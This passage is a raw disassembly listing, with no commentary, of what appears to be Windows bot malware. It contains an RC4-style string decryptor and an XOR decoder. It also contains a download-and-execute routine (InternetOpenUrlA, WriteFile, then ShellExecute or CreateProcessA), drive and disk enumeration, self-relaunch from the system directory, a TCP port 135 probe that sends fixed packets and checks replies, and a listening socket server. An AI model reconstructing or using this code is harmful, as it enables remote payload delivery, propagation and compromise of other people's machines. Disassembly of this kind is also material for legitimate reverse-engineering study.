[ebp-2Eh], 0Ch mov byte ptr [ebp-2Dh], 23h mov byte ptr [ebp-2Ch], 3Ah mov byte ptr [ebp-2Bh], 27h mov byte ptr [ebp-2Ah], 28h mov byte ptr [ebp-29h], 5Eh mov byte ptr [ebp-28h], 2Ah mov byte ptr [ebp-27h], 1Eh mov byte ptr [ebp-26h], 2Dh mov byte ptr [ebp-25h], 5Ah mov byte ptr [ebp-24h], 1Bh mov byte ptr [ebp-23h], 0Fh mov byte ptr [ebp-22h], 4Ch mov byte ptr [ebp-21h], 44h mov byte ptr [ebp-20h], 16h mov byte ptr [ebp-1Fh], 4 mov byte ptr [ebp-1Eh], 57h mov byte ptr [ebp-1Dh], 23h mov byte ptr [ebp-1Ch], 11h mov byte ptr [ebp-1Bh], 53h mov byte ptr [ebp-1Ah], 38h mov byte ptr [ebp-19h], 13h mov byte ptr [ebp-18h], 0Dh mov byte ptr [ebp-17h], 12h mov byte ptr [ebp-16h], 25h mov byte ptr [ebp-15h], 1Ch mov byte ptr [ebp-14h], 30h mov byte ptr [ebp-13h], 12h mov byte ptr [ebp-12h], 50h mov byte ptr [ebp-11h], 4Fh mov byte ptr [ebp-10h], 39h mov byte ptr [ebp-0Fh], 10h mov byte ptr [ebp-0Eh], 42h mov byte ptr [ebp-0Dh], 1Fh mov byte ptr [ebp-0Ch], 37h mov byte ptr [ebp-0Bh], 1Dh mov byte ptr [ebp-0Ah], 41h mov byte ptr [ebp-9], 55h mov byte ptr [ebp-8], 2Ch mov byte ptr [ebp-7], 41h mov byte ptr [ebp-6], 2Ch mov byte ptr [ebp-5], 58h mov [ebp-4], bl call sub_4158E0 mov esi, 101h mov [ebp-38h], eax push esi lea eax, [ebp-13Ch] push ebx push eax call sub_415CA0 push esi lea eax, [ebp-240h] push ebx push eax call sub_415CA0 add esp, 1Ch xor eax, eax mov ecx, 100h loc_404BDF: ; CODE XREF: .text:00404BE9j mov [ebp+eax-13Ch], al inc eax cmp eax, ecx jb short loc_404BDF cmp [ebp+14h], ebx jz short loc_404C0E xor eax, eax loc_404BF2: ; CODE XREF: .text:00404C0Aj cmp edi, [ebp+14h] jnz short loc_404BF9 xor edi, edi loc_404BF9: ; CODE XREF: .text:00404BF5j mov edx, [ebp+10h] mov dl, [edi+edx] inc edi mov [ebp+eax-240h], dl inc eax cmp eax, ecx jb short loc_404BF2 jmp short loc_404C28 ; --------------------------------------------------------------------------- loc_404C0E: ; CODE XREF: .text:00404BEEj xor esi, esi loc_404C10: ; CODE XREF: .text:00404C26j cmp edi, [ebp-38h] jnz short loc_404C17 xor edi, edi loc_404C17: ; CODE XREF: .text:00404C13j mov al, [ebp+edi-34h] inc edi mov [ebp+esi-240h], al inc esi cmp esi, ecx jb short loc_404C10 loc_404C28: ; CODE XREF: .text:00404C0Cj mov [ebp+14h], ebx xor edi, edi mov eax, 0FFh loc_404C32: ; CODE XREF: .text:00404C6Cj mov dl, [ebp+edi-13Ch] mov ebx, [ebp+14h] mov cl, [ebp+edi-240h] lea esi, [ebp+edi-13Ch] add ebx, edx add ecx, ebx and ecx, eax inc edi mov [ebp+14h], ecx cmp edi, 100h mov bl, [ebp+ecx-13Ch] lea ecx, [ebp+ecx-13Ch] mov [esi], bl mov [ecx], dl jb short loc_404C32 xor edi, edi cmp [ebp+0Ch], edi mov [ebp+14h], edi mov [ebp+10h], edi jbe short loc_404CCA loc_404C7B: ; CODE XREF: .text:00404CC8j inc edi and edi, eax mov dl, [ebp+edi-13Ch] lea ecx, [ebp+edi-13Ch] mov bl, dl add ebx, [ebp+14h] and ebx, eax mov esi, ebx mov bl, [ebp+esi-13Ch] mov [ebp+14h], esi mov [ecx], bl lea esi, [ebp+esi-13Ch] mov ebx, [ebp+10h] mov [esi], dl mov cl, [ecx] mov esi, [ebp+8] add ecx, edx and ecx, eax add esi, ebx mov cl, [ebp+ecx-13Ch] xor [esi], cl inc ebx cmp ebx, [ebp+0Ch] mov [ebp+10h], ebx jb short loc_404C7B loc_404CCA: ; CODE XREF: .text:00404C79j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- db 7Eh dup(0CCh) ; --------------------------------------------------------------------------- loc_404D4D: ; CODE XREF: sub_40104Bj push ebp mov ebp, esp sub esp, 510h mov eax, [ebp+8] push ebx push esi push edi mov ecx, 0AAh mov esi, eax lea edi, [ebp-2CCh] push 1 rep movsd pop edi xor esi, esi push esi mov [eax+2A4h], edi push esi push esi lea eax, [ebp-248h] push esi push eax push dword_49160C call dword_49156C ; InternetOpenUrlA cmp eax, esi mov [ebp-18h], eax jz loc_4051D9 push esi push esi push 2 push esi push esi lea eax, [ebp-148h] push 40000000h push eax call ds:dword_495360 ; CreateFileA cmp eax, edi mov [ebp-20h], eax jnb short loc_404E14 lea eax, [ebp-148h] push eax lea eax, [ebp-510h] push offset unk_42BACC push eax call sub_416821 add esp, 0Ch cmp [ebp-30h], esi jnz short loc_404DF7 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_4010D2 add esp, 14h loc_404DF7: ; CODE XREF: .text:00404DD5j lea eax, [ebp-510h] push eax call sub_401014 push dword ptr [ebp-48h] call sub_4012A3 pop ecx pop ecx push esi call ds:dword_495334 ; ExitThread loc_404E14: ; CODE XREF: .text:00404DB5j xor edi, edi call ds:dword_495340 ; GetTickCount mov ebx, 7D000h mov [ebp-4], eax push ebx call sub_415CF8 pop ecx mov [ebp-1Ch], eax loc_404E2E: ; CODE XREF: .text:00404F01j push 200h lea eax, [ebp-510h] push esi push eax call sub_415CA0 add esp, 0Ch lea eax, [ebp+8] push eax lea eax, [ebp-510h] push 200h push eax push dword ptr [ebp-18h] call dword_491574 ; InternetReadFile cmp [ebp-34h], esi jz short loc_404E72 push dword ptr [ebp+8] lea eax, [ebp-510h] push eax call sub_4011EF pop ecx pop ecx loc_404E72: ; CODE XREF: .text:00404E5Fj lea eax, [ebp-24h] push esi push eax lea eax, [ebp-510h] push dword ptr [ebp+8] push eax push dword ptr [ebp-20h] call ds:dword_49535C ; WriteFile cmp edi, ebx jnb short loc_404EB0 mov eax, ebx sub eax, edi cmp eax, [ebp+8] jbe short loc_404E9A mov eax, [ebp+8] loc_404E9A: ; CODE XREF: .text:00404E95j push eax lea eax, [ebp-510h] push eax mov eax, [ebp-1Ch] add eax, edi push eax call sub_415960 add esp, 0Ch loc_404EB0: ; CODE XREF: .text:00404E8Cj add edi, [ebp+8] cmp [ebp-3Ch], esi jz short loc_404EBD cmp edi, [ebp-3Ch] ja short loc_404F07 loc_404EBD: ; CODE XREF: .text:00404EB6j cmp dword ptr [ebp-44h], 1 mov eax, edi jz short loc_404ED7 shr eax, 0Ah push eax lea eax, [ebp-248h] push eax push offset unk_42BA7C jmp short loc_404EE7 ; --------------------------------------------------------------------------- loc_404ED7: ; CODE XREF: .text:00404EC3j shr eax, 0Ah push eax lea eax, [ebp-248h] push eax push offset unk_42BA34 loc_404EE7: ; CODE XREF: .text:00404ED5j mov eax, [ebp-48h] imul eax, 234h add eax, offset dword_43E720 push eax call sub_416821 add esp, 10h cmp [ebp+8], esi ja loc_404E2E loc_404F07: ; CODE XREF: .text:00404EBBj cmp [ebp-3Ch], esi mov dword ptr [ebp-14h], 1 jz short loc_404F5C cmp edi, [ebp-3Ch] jz short loc_404F5C push dword ptr [ebp-3Ch] lea eax, [ebp-510h] mov [ebp-14h], esi push edi push offset unk_42B9E8 push eax call sub_416821 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_4010D2 lea eax, [ebp-510h] push eax call sub_401014 add esp, 28h loc_404F5C: ; CODE XREF: .text:00404F11j ; .text:00404F16j call ds:dword_495340 ; GetTickCount sub eax, [ebp-4] xor edx, edx mov ecx, 3E8h push dword ptr [ebp-20h] div ecx xor edx, edx mov ecx, eax mov eax, edi inc ecx div ecx mov ebx, eax call ds:dword_495358 ; CloseHandle push dword ptr [ebp-1Ch] call sub_415D6C cmp [ebp-38h], esi pop ecx jz short loc_404FE6 lea eax, [ebp-148h] push eax call sub_4012B7 cmp eax, [ebp-38h] pop ecx jz short loc_404FE6 push dword ptr [ebp-38h] mov [ebp-14h], esi push eax lea eax, [ebp-510h] push offset unk_42B9AC push eax call sub_416821 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_4010D2 lea eax, [ebp-510h] push eax call sub_401014 add esp, 28h loc_404FE6: ; CODE XREF: .text:00404F8Ej ; .text:00404FA0j cmp [ebp-14h], esi jz loc_405226 cmp dword ptr [ebp-44h], 1 jz loc_4050E1 mov [ebp-8], ebx mov [ebp-4], esi fild qword ptr [ebp-8] push ecx push ecx mov [ebp-8], edi mov [ebp-4], esi fmul ds:dbl_427568 lea eax, [ebp-148h] fstp qword ptr [esp] fild qword ptr [ebp-8] push eax push ecx push ecx lea eax, [ebp-510h] fmul ds:dbl_427568 fstp qword ptr [esp] push offset unk_42B95C push eax call sub_416821 add esp, 1Ch cmp [ebp-30h], esi jnz short loc_405061 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_4010D2 add esp, 14h loc_405061: ; CODE XREF: .text:0040503Fj lea eax, [ebp-510h] push eax call sub_401014 cmp dword ptr [ebp-40h], 1 pop ecx jnz loc_405226 push 5 push esi lea eax, [ebp-148h] push esi push eax push offset aOpen ; "open" push esi call dword_4915D0 cmp [ebp-30h], esi jnz loc_405226 lea eax, [ebp-148h] push eax lea eax, [ebp-510h] push offset dword_42B924 push eax call sub_416821 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_4010D2 lea eax, [ebp-510h] push eax call sub_401014 add esp, 24h jmp loc_405226 ; --------------------------------------------------------------------------- loc_4050E1: ; CODE XREF: .text:00404FF3j mov [ebp-8], ebx mov [ebp-4], esi fild qword ptr [ebp-8] push ecx push ecx mov [ebp-8], edi mov [ebp-4], esi fmul ds:dbl_427568 lea eax, [ebp-148h] fstp qword ptr [esp] fild qword ptr [ebp-8] push eax push ecx push ecx lea eax, [ebp-510h] fmul ds:dbl_427568 fstp qword ptr [esp] push offset unk_42B8C8 push eax call sub_416821 add esp, 1Ch cmp [ebp-30h], esi jnz short loc_405149 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_4010D2 add esp, 14h loc_405149: ; CODE XREF: .text:00405127j lea eax, [ebp-510h] push eax call sub_401014 push 10h lea eax, [ebp-10h] push esi push eax call sub_415CA0 push 44h lea eax, [ebp-310h] pop edi push edi push esi push eax call sub_415CA0 add esp, 1Ch mov [ebp-310h], edi lea eax, [ebp-10h] mov dword ptr [ebp-304h], offset byte_4370BC push 1 mov [ebp-2E0h], si pop edi push eax lea eax, [ebp-310h] push eax push esi push esi push 28h push esi push esi lea eax, [ebp-148h] push esi push eax push esi mov [ebp-2E4h], edi call ds:dword_495354 ; CreateProcessA cmp eax, edi jnz short loc_4051CB call dword_4915BC ; WSACleanup call sub_401122 push esi call ds:dword_495350 ; ExitProcess loc_4051CB: ; CODE XREF: .text:004051B7j lea eax, [ebp-148h] push eax push offset unk_42B874 jmp short loc_4051E5 ; --------------------------------------------------------------------------- loc_4051D9: ; CODE XREF: .text:00404D92j lea eax, [ebp-248h] push eax push offset unk_42B834 loc_4051E5: ; CODE XREF: .text:004051D7j lea eax, [ebp-510h] push eax call sub_416821 add esp, 0Ch cmp [ebp-30h], esi jnz short loc_405219 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_4010D2 add esp, 14h loc_405219: ; CODE XREF: .text:004051F7j lea eax, [ebp-510h] push eax call sub_401014 pop ecx loc_405226: ; CODE XREF: .text:00404FE9j ; .text:00405072j ... push dword ptr [ebp-18h] call dword_491690 ; InternetCloseHandle push dword ptr [ebp-48h] call sub_4012A3 pop ecx push esi call ds:dword_495334 ; ExitThread ; --------------------------------------------------------------------------- db 13Ch dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40537B proc near ; CODE XREF: sub_4011EFj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] xor ecx, ecx cmp [esp+arg_4], ecx jle short locret_405397 loc_405387: ; CODE XREF: sub_40537B+1Aj mov dl, byte_42C952 xor [ecx+eax], dl inc ecx cmp ecx, [esp+arg_4] jl short loc_405387 locret_405397: ; CODE XREF: sub_40537B+Aj retn sub_40537B endp ; --------------------------------------------------------------------------- db 7 dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40539F proc near ; CODE XREF: sub_401005j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_417025 pop ecx pop ecx xor ecx, ecx cmp eax, 0FFFFFFFFh setnz cl mov eax, ecx retn sub_40539F endp ; --------------------------------------------------------------------------- db 6 dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4053BF proc near ; CODE XREF: sub_401217j var_38 = byte ptr -38h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 38h and [ebp+var_4], 0 push ebx push esi push edi push 32h mov edi, offset dword_43DB40 push 0 push edi call sub_415CA0 mov ebx, [ebp+arg_0] add esp, 0Ch lea esi, [ebp+var_38] loc_4053E4: ; CODE XREF: sub_4053BF+5Bj ; sub_4053BF+61j push 0 push 0Ah push [ebp+arg_4] push ebx call sub_4170E0 push 0 push 0Ah push [ebp+arg_4] add al, 30h mov [esi], al inc esi push ebx call sub_417070 mov ebx, eax or eax, edx mov [ebp+arg_4], edx jz short loc_405422 inc [ebp+var_4] push 3 mov eax, [ebp+var_4] pop ecx cdq idiv ecx test edx, edx jnz short loc_4053E4 mov byte ptr [esi], 2Ch inc esi jmp short loc_4053E4 ; --------------------------------------------------------------------------- loc_405422: ; CODE XREF: sub_4053BF+4Bj dec esi mov eax, edi loc_405425: ; CODE XREF: sub_4053BF+73j lea ecx, [ebp+var_38] cmp esi, ecx jb short loc_405434 mov cl, [esi] mov [eax], cl inc eax dec esi jmp short loc_405425 ; --------------------------------------------------------------------------- loc_405434: ; CODE XREF: sub_4053BF+6Bj and byte ptr [eax], 0 mov eax, edi pop edi pop esi pop ebx leave retn sub_4053BF endp ; --------------------------------------------------------------------------- db 1Fh dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40545D proc near ; CODE XREF: sub_401082j arg_0 = dword ptr 4 push [esp+arg_0] call dword_4916BC ; GetDriveTypeA sub eax, 0 jz short loc_4054A0 dec eax jz short loc_40549A dec eax dec eax jz short loc_405494 dec eax jz short loc_40548E dec eax jz short loc_405488 dec eax jz short loc_405482 mov eax, offset word_42BB44 retn ; --------------------------------------------------------------------------- loc_405482: ; CODE XREF: sub_40545D+1Dj mov eax, offset aRam ; "RAM" retn ; --------------------------------------------------------------------------- loc_405488: ; CODE XREF: sub_40545D+1Aj mov eax, offset aCdrom ; "Cdrom" retn ; --------------------------------------------------------------------------- loc_40548E: ; CODE XREF: sub_40545D+17j mov eax, offset aNetwork ; "Network" retn ; --------------------------------------------------------------------------- loc_405494: ; CODE XREF: sub_40545D+14j mov eax, offset aDisk ; "Disk" retn ; --------------------------------------------------------------------------- loc_40549A: ; CODE XREF: sub_40545D+10j mov eax, offset aInvalid ; "Invalid" retn ; --------------------------------------------------------------------------- loc_4054A0: ; CODE XREF: sub_40545D+Dj mov eax, offset aUnknown ; "Unknown" retn sub_40545D endp ; --------------------------------------------------------------------------- db 12h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4054B8 proc near ; CODE XREF: sub_4011BDj var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 18h or eax, 0FFFFFFFFh mov [ebp+var_18], eax mov [ebp+var_14], eax mov [ebp+var_10], eax mov [ebp+var_C], eax mov [ebp+var_8], eax mov [ebp+var_4], eax mov eax, dword_491558 test eax, eax jz short loc_4054ED lea ecx, [ebp+var_10] push ecx lea ecx, [ebp+var_8] push ecx lea ecx, [ebp+var_18] push ecx push [ebp+arg_4] call eax ; GetDiskFreeSpaceExA loc_4054ED: ; CODE XREF: sub_4054B8+22j mov eax, [ebp+arg_0] push esi push edi push 6 pop ecx lea esi, [ebp+var_18] mov edi, eax rep movsd pop edi pop esi leave retn sub_4054B8 endp ; --------------------------------------------------------------------------- db 12h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405512 proc near ; CODE XREF: sub_4010AAj var_198 = byte ptr -198h var_118 = byte ptr -118h var_98 = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 198h push esi push edi push [ebp+arg_4] lea eax, [ebp+var_18] push eax call sub_4011BD pop ecx mov esi, eax pop ecx lea edi, [ebp+var_18] push 6 pop ecx rep movsd mov eax, [ebp+var_18] and eax, [ebp+var_14] cmp eax, 0FFFFFFFFh jz loc_4055EA mov eax, [ebp+var_10] and eax, [ebp+var_C] cmp eax, 0FFFFFFFFh jz loc_4055EA mov eax, [ebp+var_8] and eax, [ebp+var_4] cmp eax, 0FFFFFFFFh jz loc_4055EA push ebx mov ebx, 400h push 0 push ebx push [ebp+var_14] push [ebp+var_18] call sub_417160 push edx push eax call sub_401217 mov edi, offset aSkb ; "%sKB" push eax mov esi, 80h push edi lea eax, [ebp+var_198] push esi push eax call sub_4163D7 add esp, 18h push 0 push ebx push [ebp+var_C] push [ebp+var_10] call sub_417160 push edx push eax call sub_401217 push eax push edi lea eax, [ebp+var_118] push esi push eax call sub_4163D7 add esp, 18h push 0 push ebx push [ebp+var_4] push [ebp+var_8] call sub_417160 push edx push eax call sub_401217 push eax push edi lea eax, [ebp+var_98] push esi push eax call sub_4163D7 add esp, 18h pop ebx jmp short loc_405619 ; --------------------------------------------------------------------------- loc_4055EA: ; CODE XREF: sub_405512+2Cj ; sub_405512+3Bj ... mov esi, offset aFailed ; "failed" lea eax, [ebp+var_198] push esi push eax call sub_416821 lea eax, [ebp+var_118] push esi push eax call sub_416821 lea eax, [ebp+var_98] push esi push eax call sub_416821 add esp, 18h loc_405619: ; CODE XREF: sub_405512+D6j mov eax, [ebp+arg_0] push 60h pop ecx lea esi, [ebp+var_198] mov edi, eax rep movsd pop edi pop esi leave retn sub_405512 endp ; --------------------------------------------------------------------------- db 46h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405673 proc near ; CODE XREF: sub_401073j var_500 = byte ptr -500h var_300 = byte ptr -300h var_180 = byte ptr -180h var_100 = byte ptr -100h var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 500h push ebx mov ebx, [ebp+arg_C] push esi push edi lea eax, [ebp+var_300] push ebx push eax call sub_4010AA push 60h mov esi, eax pop ecx lea edi, [ebp+var_300] rep movsd push 60h lea esi, [ebp+var_300] pop ecx lea edi, [ebp+var_180] lea eax, [ebp+var_80] push offset aFailed ; "failed" rep movsd push eax call sub_416B70 add esp, 10h test eax, eax jnz short loc_4056E6 push ebx push ebx call sub_401082 pop ecx push eax push offset unk_42BBAC lea eax, [ebp+var_500] push 200h push eax call sub_4163D7 add esp, 14h jmp short loc_40571A ; --------------------------------------------------------------------------- loc_4056E6: ; CODE XREF: sub_405673+4Dj lea eax, [ebp+var_180] push eax lea eax, [ebp+var_100] push eax lea eax, [ebp+var_80] push eax push ebx push ebx call sub_401082 pop ecx push eax push offset unk_42BB58 lea eax, [ebp+var_500] push 200h push eax call sub_4163D7 add esp, 20h loc_40571A: ; CODE XREF: sub_405673+71j push 1 lea eax, [ebp+var_500] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4010D2 lea eax, [ebp+var_500] push eax call sub_401014 add esp, 18h pop edi pop esi pop ebx leave retn sub_405673 endp ; --------------------------------------------------------------------------- db 34h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405779 proc near ; CODE XREF: sub_40134Dj arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx xor ebx, ebx cmp [ebp+arg_C], ebx jz short loc_40579A push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_401073 add esp, 10h jmp short loc_4057FB ; --------------------------------------------------------------------------- loc_40579A: ; CODE XREF: sub_405779+9j push esi push edi push ebx push ebx call dword_4915CC ; GetLogicalDriveStringsA lea esi, [eax+2] push esi call sub_415CF8 pop ecx mov edi, eax push edi push esi call dword_4915CC ; GetLogicalDriveStringsA cmp [edi], bl mov esi, edi jz short loc_4057F2 loc_4057BE: ; CODE XREF: sub_405779+77j push offset aA_1 ; "A:\\" push esi call sub_416B70 pop ecx test eax, eax pop ecx jz short loc_4057E1 push esi push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_401073 add esp, 10h loc_4057E1: ; CODE XREF: sub_405779+54j push esi call sub_4158E0 cmp [esi+eax+1], bl lea esi, [esi+eax+1] pop ecx jnz short loc_4057BE loc_4057F2: ; CODE XREF: sub_405779+43j push edi call sub_415D6C pop ecx pop edi pop esi loc_4057FB: ; CODE XREF: sub_405779+1Fj pop ebx pop ebp retn sub_405779 endp ; --------------------------------------------------------------------------- db 21h dup(0CCh) ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 25Ch push ebx push esi push edi push dword_43E92C call dword_4916F4 ; closesocket call sub_401109 call dword_4915BC ; WSACleanup call dword_4915BC ; WSACleanup mov ebx, ds:dword_495324 push 64h call ebx ; Sleep xor edi, edi push 10h lea eax, [ebp-10h] push edi push eax call sub_415CA0 push 44h lea eax, [ebp-54h] pop esi push esi push edi push eax call sub_415CA0 add esp, 18h mov [ebp-54h], esi mov esi, 104h lea eax, [ebp-25Ch] push esi push eax mov dword ptr [ebp-48h], offset byte_4370BC mov dword ptr [ebp-28h], 1 mov [ebp-24h], di call ds:dword_495364 ; GetSystemDirectoryA lea eax, [ebp-158h] push esi push eax push edi call ds:dword_495330 ; GetModuleFileNameA lea eax, [ebp-10h] push eax lea eax, [ebp-54h] push eax lea eax, [ebp-25Ch] push eax push edi push 28h push 1 push edi lea eax, [ebp-158h] push edi push eax push edi call ds:dword_495354 ; CreateProcessA test eax, eax jz short loc_4058E4 push 64h call ebx ; Sleep push dword ptr [ebp-10h] mov esi, ds:dword_495358 call esi ; CloseHandle push dword ptr [ebp-0Ch] call esi ; CloseHandle loc_4058E4: ; CODE XREF: .text:004058CEj mov eax, [ebp+10h] mov dword ptr [eax+0B0h], offset dword_43DB84 mov eax, [esp] mov large fs:0, eax add esp, 8 push edi call ds:dword_495350 ; ExitProcess pop edi pop esi pop ebx ; --------------------------------------------------------------------------- db 3Ah dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405941 proc near ; CODE XREF: sub_401226j arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_4] xor esi, esi sub edi, [ebp+arg_C] test edi, edi jle short loc_40596F loc_405952: ; CODE XREF: sub_405941+2Cj push [ebp+arg_C] mov eax, [ebp+arg_0] add eax, esi push [ebp+arg_8] push eax call sub_417210 add esp, 0Ch test eax, eax jz short loc_405975 inc esi cmp esi, edi jl short loc_405952 loc_40596F: ; CODE XREF: sub_405941+Fj xor al, al loc_405971: ; CODE XREF: sub_405941+36j pop edi pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_405975: ; CODE XREF: sub_405941+27j mov al, 1 jmp short loc_405971 sub_405941 endp ; --------------------------------------------------------------------------- db 0Eh dup(0CCh) ; --------------------------------------------------------------------------- loc_405987: ; CODE XREF: .text:0040131Bj push ebp mov ebp, esp mov eax, 2010h call sub_416880 mov eax, [ebp+0Ch] push esi dec eax push edi jz short loc_4059C8 dec eax jz short loc_4059A6 dec eax loc_4059A0: ; CODE XREF: .text:004059DEj xor eax, eax loc_4059A2: ; CODE XREF: .text:004059C6j ; .text:00405AF0j pop edi pop esi leave retn ; --------------------------------------------------------------------------- loc_4059A6: ; CODE XREF: .text:0040599Dj push 3 push 1388h push dword ptr [ebp+8] call dword_49169C ; inet_addr push eax call sub_4012A8 add esp, 0Ch neg eax sbb eax, eax and eax, 3 jmp short loc_4059A2 ; --------------------------------------------------------------------------- loc_4059C8: ; CODE XREF: .text:0040599Aj push 6 push 1 push 2 call dword_4916DC ; socket mov esi, eax or edi, 0FFFFFFFFh cmp esi, edi mov [ebp+0Ch], esi jz short loc_4059A0 push ebx xor ebx, ebx push 10h lea eax, [ebp-10h] push ebx push eax call sub_415CA0 add esp, 0Ch mov word ptr [ebp-10h], 2 push 87h call dword_49165C ; htons push dword ptr [ebp+8] mov [ebp-0Eh], ax call sub_4011C2 pop ecx mov [ebp-0Ch], eax lea eax, [ebp-10h] push 10h push eax push esi call dword_491604 ; connect cmp eax, edi jz loc_405AE4 push ebx push 48h push offset dword_42BC04 push esi call dword_4916AC ; send cmp eax, edi jz loc_405AE4 mov esi, 2000h push ebx lea eax, [ebp-2010h] push esi push eax push dword ptr [ebp+0Ch] call dword_491674 ; recv cmp eax, edi jz loc_405AE4 cmp byte ptr [ebp-200Eh], 0Ch jnz short loc_405AE4 push ebx push 18h push offset dword_42BC50 push dword ptr [ebp+0Ch] call dword_4916AC ; send cmp eax, edi jz short loc_405AE4 push ebx lea eax, [ebp-2010h] push esi push eax push dword ptr [ebp+0Ch] call dword_491674 ; recv mov esi, eax cmp esi, edi jz short loc_405AE4 cmp byte ptr [ebp-200Eh], 2 jnz short loc_405AE4 push 10h push offset dword_42BC6C lea eax, [ebp-2010h] push esi push eax call sub_401226 add esp, 10h test al, al jz short loc_405AC4 cmp esi, 12Ch setnl bl inc ebx jmp short loc_405AE4 ; --------------------------------------------------------------------------- loc_405AC4: ; CODE XREF: .text:00405AB6j push 10h push offset dword_42BC80 lea eax, [ebp-2010h] push esi push eax call sub_401226 add esp, 10h neg al sbb eax, eax and eax, 3 mov ebx, eax loc_405AE4: ; CODE XREF: .text:00405A22j ; .text:00405A39j ... push dword ptr [ebp+0Ch] call dword_4916F4 ; closesocket mov eax, ebx pop ebx jmp loc_4059A2 ; --------------------------------------------------------------------------- db 5Bh dup(0CCh) ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 0A6Ch mov eax, [ebp+8] push ebx push esi push edi push 1 mov ecx, 0A9h mov esi, eax lea edi, [ebp-6DCh] pop ebx rep movsd mov [eax+2A0h], ebx lea eax, [ebp-0A6Ch] xor edi, edi push eax push 101h mov [ebp-28h], ebx mov [ebp-18h], ebx mov [ebp-228h], edi mov [ebp-438h], edi call ds:dword_495518 ; WSAStartup push edi call sub_4174F2 push eax call sub_416B0E push 0FA00h push 539h call sub_40133E add esp, 10h mov dword_43DB94, eax push edi push ebx push 2 call ds:dword_49553C ; socket mov esi, eax lea eax, [ebp-28h] push 4 push eax push 4 push 0FFFFh push esi mov [ebp-0Ch], esi call ds:dword_49551C ; setsockopt lea eax, [ebp-18h] push eax push 8004667Eh push esi call ds:dword_495520 ; ioctlsocket mov ax, word ptr dword_43DB94 mov word ptr [ebp-38h], 2 push eax mov [ebp-34h], edi call ds:dword_495524 ; htons mov [ebp-36h], ax lea eax, [ebp-38h] push 10h push eax push esi call ds:dword_495528 ; bind test eax, eax jge short loc_405C25 mov eax, ebx jmp loc_40614C ; --------------------------------------------------------------------------- loc_405C25: ; CODE XREF: .text:00405C1Cj push 0Ah push esi call ds:dword_49552C ; listen mov [ebp-228h], ebx mov ebx, ds:dword_495540 mov [ebp-224h], esi mov [ebp-4], esi loc_405C43: ; CODE XREF: .text:00405C7Cj ; .text:00406144j push 41h lea esi, [ebp-228h] pop ecx lea edi, [ebp-438h] rep movsd xor esi, esi lea eax, [ebp-438h] push esi push esi push esi push eax mov eax, [ebp-4] inc eax push eax call ds:dword_495544 ; select cmp eax, 0FFFFFFFFh jz loc_406149 xor edi, edi cmp [ebp-4], esi mov [ebp+8], edi jl short loc_405C43 loc_405C7E: ; CODE XREF: .text:0040613Ej xor esi, esi push 64h lea eax, [ebp-29Ch] push esi push eax call sub_415CA0 push 64h lea eax, [ebp-0ACh] push esi push eax call sub_415CA0 add esp, 18h lea eax, [ebp-438h] push eax push edi call sub_421070 ; __WSAFDIsSet test eax, eax jz loc_406137 cmp edi, [ebp-0Ch] jnz short loc_405D35 lea eax, [ebp-24h] mov dword ptr [ebp-24h], 10h push eax lea eax, [ebp-238h] push eax push dword ptr [ebp-0Ch] call ds:dword_495530 ; accept cmp eax, 0FFFFFFFFh jz loc_406137 xor ecx, ecx cmp [ebp-228h], esi jbe short loc_405CFF lea edx, [ebp-224h] loc_405CEF: ; CODE XREF: .text:00405CFDj cmp [edx], eax jz short loc_405CFF 